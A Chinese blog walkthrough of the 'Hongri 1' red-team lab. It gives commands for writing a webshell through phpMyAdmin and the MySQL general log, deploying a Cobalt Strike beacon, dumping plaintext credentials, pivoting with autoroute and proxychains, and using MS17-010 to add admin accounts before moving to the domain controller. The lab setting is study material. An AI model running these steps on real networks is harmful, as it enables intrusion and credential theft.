红日1
概念图
靶场环境 win7 是web服务器 2003 是域成员 2008是域控
添加一个网卡
win7是双网卡 一个桥接 一个52网段的网卡 另外两个都是52网段的网卡
实验开始
输入web服务器ip 打开是一个php探针页面
通过这个页面可以 看到绝对路径 服务器信息 搭建的phpstydy版本 以及可以在最下面进行mysql数据库的连接测试
发现是php探针 就会联想到 phpmyadmin 一般这种是联合搭配的 直接在页面输入phpmyadmin进行测试
直接进到phpmyadmin界面 然后就可以用 弱口令进行测试 root root
进到phpmyadmin里面 我们就可以通过phpmyadmin拿webshell了
先直接通过mysql 试试导入一句话
执行之后发现报错
然后翻译一下报错信息
发现是secure file priv 然后使用命令查看一下secure的设置
发现secure file priv 是null 上面是off 这样设置是不允许导入文件的 只能读 所以我们可以尝试写全局日志的方式进行getshell
先用命令查看日志的配置 show global variables like ‘%general_%’
可以看到 全局日志是关闭的 和全局日志的记录位置 所以接下来就需要将全局日志打开 然后将路径也改了
打开日志 命令:set global general_log = on
修改路径 命令 set global general_log_file = ‘C:/phpStudy/WWW/hack.php’
然后进行一句话写入 命令 : select ““
然后打开靶机看一看 效果
一句话成功写入 打开蚁剑 进行连接
成功连接 webshell 拿下
发现还有一个yxcms的 应该是有一个页面的 用浏览器打开
因为是靶场的缘故 直接告诉了后台地址和用户账号密码 正常情况下 是没有这些的 需要通过常规的渗透手段 进行获取 因为有了地址和密码 就直接登录后台
然后首先就是看看有什么地方可以getshell
发现sql执行 root权限 就可以和上面一样 试试直接写入一句话 或者 用全日志写入一句话
在看看其他地方 发现模板
这里我们可以修改一个模板 插入一句话 或者新建一个 插入大马 或小马行
新建一个小马
模板创建好后 接下来的问题就是 找到路径
在后台 发现无法找到路径 换个思路 通过御剑扫描目录 看看有木有新发现
发现一个目录遍历 然后可以查看目录 找到 创建的模板路径
直接扫描域名 发现有备份文件 也可以直接下载备份文件 查找路径
找到路径之后 直接用蚁剑进行连接
这样 也可以getshell
拿下webshell执行 就该进行内网渗透
内网实现
发现权限是administrator 权限挺高 就不需要提权了 然后是Windows系统 可以结合cs 上线操作
打开cs 生成一个后门
然后将它传上去
然后执行上线
上线之后 第一步 还是先把延时设置为0
然后就可以直接用cs 进行目标的信息收集 例如收集目标打的补丁
打了4个补丁 然后就可以随便上exp打 就行了
抓取密码 直接发现是明文密码
logonpasswords #拖取明文密码与NMTL票据
NTLM 也可以直接去md5解密
又因为是administrator权限 可以直接创建用户 然后直接用cs 开启3389
然后进行连接 可以直接连接
另外 也可以通过msf 联动配合 cs和msf联动的时候 cs需要新建一个监听器
然后设置msf
这里是重点 需要用http才行
然后用cs新建会话 选择设置的MSF监听器
然后msf这边会话就弹回来了
然后用msf自带的模块 直接提升为system权限 命令 getsystem
还是先通过arp -a 查看一下网段情况 发现还有 两台机器
因为那两台是存在内网的 所以之后的操作 就需要先设置路由来操作
设置路由 命令 run autoroute -s 192.168.52.0/24
然后查看路由添加情况 命令 run autoroute -p
用模块扫描一下存活的主机 命令 run post/windows/gather/arp_scanner rhosts=192.168.52.0/24
- 143 是web服务器的 已经被拿下
接下来就是拿下另外两台 先将会话挂起 然后就需要进行socks代理 拿下另外两台
命令 use auxiliary/server/socks_proxy
配置相关设置
然后查看配置文件是否一致 命令 vim /etc/proxychains4.conf
然后 扫描端口 proxychains nmap -sT -Pn -T4 192.168.52.141
这里也可以通过cs自带的portscan模块 端口扫描 进行端口探测
然后发现都打开了445端口 这里就推测有有m17010 但是发现利用失败 换一种m17010的使用方法 添加账户的方法
命令 use auxiliary/admin/smb/ms17_010_command
然后设置相关配置 设置添加的账户和密码 密码需要复杂点 不然 过不了规则
然后将创建的用户 添加到管理组 命令 set COMMAND net localgroup administrators hack /add
域成员拿下
域控
开始进行对域控的渗透 上面利用cs对端口进行了扫描 打开了445 端口 直接用msf的模块测试
命令:use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.52.138
直接开打
利用搜索模块 命令 search ms17_010
我们用第一个
命令:use auxiliary/admin/smb/ms17_010_command
然后将创建的用户 添加到管理组 命令 set COMMAND net user hack1 bhanquan@2021 /add
然后exploit开打
然后将 用户添加到管理组 命令 :set COMMAND net localgroup administrators hack /add
然后exploit
然后查看添加是否成功 命令set COMMAND net localgroup administrators
添加成功
另外操作(不太熟练 有点懵)
在上面已经通过cs抓到了 域管的密码 和通过msf 用ms17 010 创建了账户
然后用cs 的 SMB Beacon操作
- SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效
在已有的 beacon 上创建监听,用来作为跳板进行内网穿透
前提是能够通过 shell 之类访问到内网其他主机
psexec 使用凭证登录其他主机
前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息
于是可以尝试使用 psexec 模块登录其他主机
右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块:
在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息
监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:
执行后效果如下:
之后的OWA 也是相同的办法
最终的图示图
toke窃取
除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机
选择 beacon 右键 -> 目标 -> 进程列表
选择 GOD\Administrator 的 token 盗取:
然后在选择令牌处勾选使用当前 token 即可:
效果和前面是一样的
之后就可以开3389 什么的 进行远程连接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!